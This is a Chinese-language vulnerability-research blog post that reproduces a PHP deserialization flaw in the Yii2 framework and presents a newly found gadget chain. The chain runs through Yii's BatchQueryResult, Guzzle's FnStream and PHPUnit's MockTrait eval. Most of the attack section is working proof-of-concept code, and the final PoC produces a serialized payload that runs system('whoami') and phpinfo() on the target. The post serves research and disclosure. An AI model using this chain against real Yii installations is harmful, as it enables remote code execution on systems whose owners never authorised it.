Yii反序列化漏洞复现到新利用链发现

我是刚入门不久的小白, 如果有什么地方不对,请师父们及时指正. 本文参考奶权师傅的 Yii复现文章: 受益匪浅,自己调试的时候发现了一个新的利用链,于是来分享下

前言

我是刚入门不久的小白, 如果有什么地方不对,请师父们及时指正. 本文参考奶权师傅的 Yii复现文章: https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA 受益匪浅,自己调试的时候发现了一个新的利用链,于是来分享下

开始

反序列化漏洞影响到 2.0.38 被修复 https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj
001

Hello World

由于挖洞的时候遇到一个 cms 是 Yii2.0.35 的所以我选择复现Yii2.0.35: https://github.com/yiisoft/yii2/releases/tag/2.0.35, 跟着文档把 Hello World 写出来. 大概了解一下开发流程.

环境我用:phpstudy 集成环境. apache2.4.39 + php 7.4.3 + phpstorm 开启 xdebug;

如下,我创建了一个action:http://127.0.0.1/yii2.0.35/web/index.php?r=test/index, controllers的命名是 名称Controller,action的命名是: action名称

002

/views/test/index.php. 其中test是控制器(controller)的名称。 index 是 render 中的view 参数命名的

003

页面效果,

004

小技巧

在开始追踪利用连前, 提供一些小技巧, 另外我喜欢用 Vscode 来匹配内容(因为 Vscode 点击相应的搜索结果可以快速的定位到, 方便查看), 用 phpstorm 跟踪函数

正则匹配可控的方法

  1. ->\$([a-zA-Z0-9_-]+)\(

010

正则匹配可控的传入参数

  1. [^if ][^foreach ][^while ]\(\$([a-zA-Z0-9_-]+)->

011

反序列化利用链

全局搜索 __destruct (反序列化后, 销毁对象时会触发的函数), 定位到 <u>vendor/yiisoft/yii2/db/BatchQueryResult.php</u>, 给 this->reset();

  1. public function __destruct()
  2. {
  3. // make sure cursor is closed
  4. $this->reset();
  5. }

跟踪 restet 方法, 反序列化时, 反序列化的对象成员属性也是可控的. 所以 $this->_dataReader 可控, 可以进入 close 方法.

  1. public function reset()
  2. {
  3. if ($this->_dataReader !== null) {
  4. $this->_dataReader->close();
  5. }
  6. $this->_dataReader = null;
  7. $this->_batch = null;
  8. $this->_value = null;
  9. $this->_key = null;
  10. }

那么这里就形成了一个跳板. 全局找 close() 方法. 最后在 <u>/vendor/guzzlehttp/psr7/src/FnStream.php</u> 中找到一个非常危险的 close 方法, 该方法接收一个参数, 是可控的成员属性.

  1. public function close()
  2. {
  3. return call_user_func($this->_fn_close);
  4. }

POC 编写.

先提供一个反序列化的点. 修改 TestController 不要 render. 直接 var_dump unserialize;

  1. class TestController extends Controller {
  2. public function actionIndex($message="Hello") {
  3. var_dump(unserialize($message));
  4. // return $this->render("index", ['message'=>$message]);
  5. }
  6. }

对于 poc 的编写, 需要注意命名空间. 否则无法定位到相应的类. 也因为他会自动定位到相应的类,所以不用像原本定义一样继承相应的父类.

<u>vendor/yiisoft/yii2/db/BatchQueryResult.php</u>

  1. namespace yii\db;
  2. class BatchQueryResult {
  3. // 需要控制的成员属性
  4. private $_dataReader;
  5. }

<u>vendor/guzzlehttp/psr7/src/FnStream.php</u>

  1. namespace GuzzleHttp\Psr7;
  2. class FnStream implements StreamInterface {
  3. // 需要控制的参数, 原本并没有定义所以无要求
  4. var $_fn_close;
  5. }

poc 如下

  1. <?php
  2. namespace GuzzleHttp\Psr7 {
  3. class FnStream {
  4. var $_fn_close = "phpinfo";
  5. }
  6. }
  7. namespace yii\db {
  8. use GuzzleHttp\Psr7\FnStream;
  9. class BatchQueryResult {
  10. // 需要控制的成员属性
  11. private $_dataReader;
  12. public function __construct() {
  13. $this->_dataReader = new FnStream();
  14. }
  15. }
  16. $b = new BatchQueryResult();
  17. var_dump(serialize($b));
  18. }

执行成功.
005

危害放大

可以注意到, FnStream 类中的 call_user_func 只有一个参数. 翻一翻官方文档,发现了相应的解决方法. 所以遇到阻塞时,多翻翻手册也许会柳暗花明

006

如果要放大危害,这里只能作为跳板,还需要一个类. 全局搜索各危险函数. 寻找参数可控的方法.

在 <u>vendor\phpunit\phpunit\src\Framework\MockObject\MockTrait.php</u> 中找到了相应的方法

  1. public function generate(): string
  2. {
  3. if (!\class_exists($this->mockName, false)) {
  4. eval($this->classCode);
  5. }
  6. return $this->mockName;
  7. }

修改 poc

  1. <?php
  2. namespace PHPUnit\Framework\MockObject{
  3. class MockTrait {
  4. private $classCode = "system('whoami');";
  5. private $mockName = "anything";
  6. }
  7. }
  8. namespace GuzzleHttp\Psr7 {
  9. use PHPUnit\Framework\MockObject\MockTrait;
  10. class FnStream {
  11. var $_fn_close;
  12. function __construct() {
  13. $this->_fn_close = array(
  14. new MockTrait(),
  15. 'generate'
  16. );
  17. }
  18. }
  19. }
  20. namespace yii\db {
  21. use GuzzleHttp\Psr7\FnStream;
  22. class BatchQueryResult {
  23. // 需要控制的成员属性
  24. private $_dataReader;
  25. function __construct() {
  26. $this->_dataReader = new FnStream();
  27. }
  28. }
  29. $b = new BatchQueryResult();
  30. file_put_contents("poc.txt", serialize($b));
  31. }

再次尝试, 报错了!!!这是修复了吗??,低版本也?
007

但是 phpinfo() 可以正常执行. 当我再回去看的时候. 我发现我漏掉了最底下的报错信息!!!。

先将 poc 复原到 phpinfo(); 可以看到虽然 throw 了, 但 phpinfo 正常执行. 不清楚是什么原因。我的猜想是: phpinfo 回显内容过大触发了分段传输. 我会继续研究这个问题.

008

利用这个方法. 修改一下 poc,加上phpifnfo();

最终 poc

  1. <?php
  2. namespace PHPUnit\Framework\MockObject{
  3. class MockTrait {
  4. private $classCode = "system('whoami');phpinfo();";
  5. private $mockName = "anything";
  6. }
  7. }
  8. namespace GuzzleHttp\Psr7 {
  9. use PHPUnit\Framework\MockObject\MockTrait;
  10. class FnStream {
  11. var $_fn_close;
  12. function __construct() {
  13. $this->_fn_close = array(
  14. new MockTrait(),
  15. 'generate'
  16. );
  17. }
  18. }
  19. }
  20. namespace yii\db {
  21. use GuzzleHttp\Psr7\FnStream;
  22. class BatchQueryResult {
  23. // 需要控制的成员属性
  24. private $_dataReader;
  25. function __construct() {
  26. $this->_dataReader = new FnStream();
  27. }
  28. }
  29. $b = new BatchQueryResult();
  30. file_put_contents("poc.txt", serialize($b));
  31. }

整理一下反序列化链

009

  • 发表于 2021-04-07 22:01:32
  • 阅读 ( 9629 )
  • 分类:漏洞分析

2 条评论

带头大哥
带头大哥

50 篇文章

站长统计